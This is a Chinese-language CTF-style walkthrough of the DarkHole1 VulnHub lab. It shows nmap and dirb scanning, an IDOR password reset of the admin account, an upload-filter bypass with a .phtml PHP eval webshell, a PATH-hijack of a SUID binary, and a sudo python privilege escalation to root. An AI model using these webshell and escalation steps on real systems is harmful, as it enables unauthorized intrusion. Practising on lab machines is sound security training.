DarkHole1 vulnhub靶场

kali攻击机ip:192.168.181.129

主机发现

nmap -sP 192.168.181.0/24

在这里插入图片描述

端口扫描

nmap -p 1-65535 -A 192.168.181.157

在这里插入图片描述
目录扫描

 dirb http://192.168.181.157

在这里插入图片描述

逐个访问

database.php真的没有东西,我在各个地方尝试了各种方式打开,都没有

在这里插入图片描述

在这里插入图片描述

这里是存放一些页面展示的文件

在这里插入图片描述

这里有一张唯美的gif,来都来了,欣赏一下吧

在这里插入图片描述

upload目录,说不定有文件上传漏洞,但是现在还用不了

在这里插入图片描述

访问80端口

在这里插入图片描述

右上角有个登录

在这里插入图片描述

注册一个账号

在这里插入图片描述

利用刚刚的账号登录

审查一下界面,发现url后面的?id很有sql注入漏洞的感觉

在这里插入图片描述

sqlmap跑一下,可惜无功而返

在这里插入图片描述

没有sql注入漏洞,那尝试一下修改id的值会怎么样

显示无法查看其他用户的信息

在这里插入图片描述

此情此景,让我想起了一个漏洞,叫越权漏洞

(92条消息) 越权漏洞简单分析_前行的学者的博客-优快云博客

按照惯例,猜测id=1的用户应该就是网站的管理者,用户名很有可能是admin

我们想登录admin的账号,需要将他的密码改为我们知道的

尝试修改用户密码时抓包,开启bp

在这里插入图片描述

在这里插入图片描述

抓到包了,可以看见此时Referer和id字段都是id=2

在这里插入图片描述

两个都修改为id=1后提交

在这里插入图片描述

提交完之后,后面还有一个get请求也修改为id=1

在这里插入图片描述

尝试用修改后的密码登录admin

在这里插入图片描述

成功了~~

多了一个upload,这不就跟前面串起来了,文件上传漏洞

在这里插入图片描述

试试直接传反弹shell的php文件,发现被拦截了

在这里插入图片描述

试试抓包修改文件后缀能不能绕过去

在这里插入图片描述

传上去的文件后缀变成了jpg,也不行

在这里插入图片描述

试了一轮,php3,pht,phtml,phps各种后缀都试试,后面发现phtml是可以的,写入一句话木马

可知这里使用的是黑名单检验

<?php
  eval($_POST['cc']);
?>

在这里插入图片描述

返回upload目录,访问shell.phtml

在这里插入图片描述

中国蚁剑连接

在这里插入图片描述

查看suid命令,没发现有用的

在这里插入图片描述

sudo -l 

查看root权限命令,很怪,为啥不让我输密码?(虽然我现在还妹密码)

在这里插入图片描述

查看用户目录

在这里插入图片描述

令人心动的password和user.txt,可惜没有权限访问

在这里插入图片描述

但是这个toto,是可以执行的
password和file.py john用户可以读写执行
在这里插入图片描述

./toto

回显跟id命令一样,就是toto查看的是john的id,id命令查看的是www-data的id

toto应该就是以john的身份执行了id命令

在这里插入图片描述

id命令执行时,会从前往后在PATH环境变量中搜索路径,若找到id命令,就直接执行

只要我们再写一个id文件,然后将文件路径作为一个环境变量放在id原来的路径前,就能被优先检索到,系统会执行我们写的id程序而不是系统命令id

PATH环境变量

可执行程序的搜索目录,可执行程序包括Linux系统命令和用户的应用程序。如果可执行程序的目录不在PATH指定的目录中,执行时需要指定目录。

export PATH=/usr/local/bin:$ PATH

  • PATH是变量名,这里是指添加到PATH这个环境变量中

  • =后面是要添加的环境变量

  • : $ PATH是指把新添加的环境变量与原先的环境变量重新赋值给PATH这个变量,这里可以看出如果有多个环境变量时,应该使用:进行分隔,如 export PATH=/usr/local/php/bin:/usr/local/mysql/bin:$ PATH

  • 配置的环境变量中不要忘了加上原来的配置,即$PATH部分,避免覆盖原来配置

  • $ PATH放在开头指配置的环境变量在后面追加,放在后面表示把配置的环境变量放在最前面(从前往后匹配)

找到一个可以写入文件的目录,比如/tmp,/bin/bash开启john权限的shell

touch id

echo '/bin/bash' >id

chmod +x id

export PATH=/tmp:$PATH

在这里插入图片描述

本来按逻辑这里就可以提权成功的,但是没有,不知道是不是蚁剑的问题,提权这事还是不能直接在蚁剑里面搞

在这里插入图片描述

msf弄个反弹shell(我的端口是6666),通过蚁剑直接上传到网站upload目录

在这里插入图片描述

msf开启监听

在这里插入图片描述

通过网站访问shell.php

在这里插入图片描述

一下就连上了

在这里插入图片描述

记得重新添加环境变量,因为export添加环境变量是临时的,终端关闭了就重置了

在这里插入图片描述

执行toto,成功变更用户

在这里插入图片描述

可以查看password,user.txt了

在这里插入图片描述

为啥还是这样,难道是我没弄回显的原因?

在这里插入图片描述

python -c 'import pty;pty.spawn("/bin/bash")'\; 不行,看看有没有装别的python版本

查看所有命令

compgen -c | grep python

在这里插入图片描述

原来是python3

python3 -c 'import pty;pty.spawn("/bin/bash")'\; 

终于好了,可以输密码了,将刚刚得到的password写上去

可以使用root权限执行file.py

在这里插入图片描述

直接执行看不出来有啥用,上面已知john用户对file.py有读写权限,尝试写入python提权代码

echo "import pty;pty.spawn('/bin/bash')" > file.py

在这里插入图片描述

sudo /usr/bin/python3 /home/john/file.py

提权成功

在这里插入图片描述

在这里插入图片描述

o了 😃

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值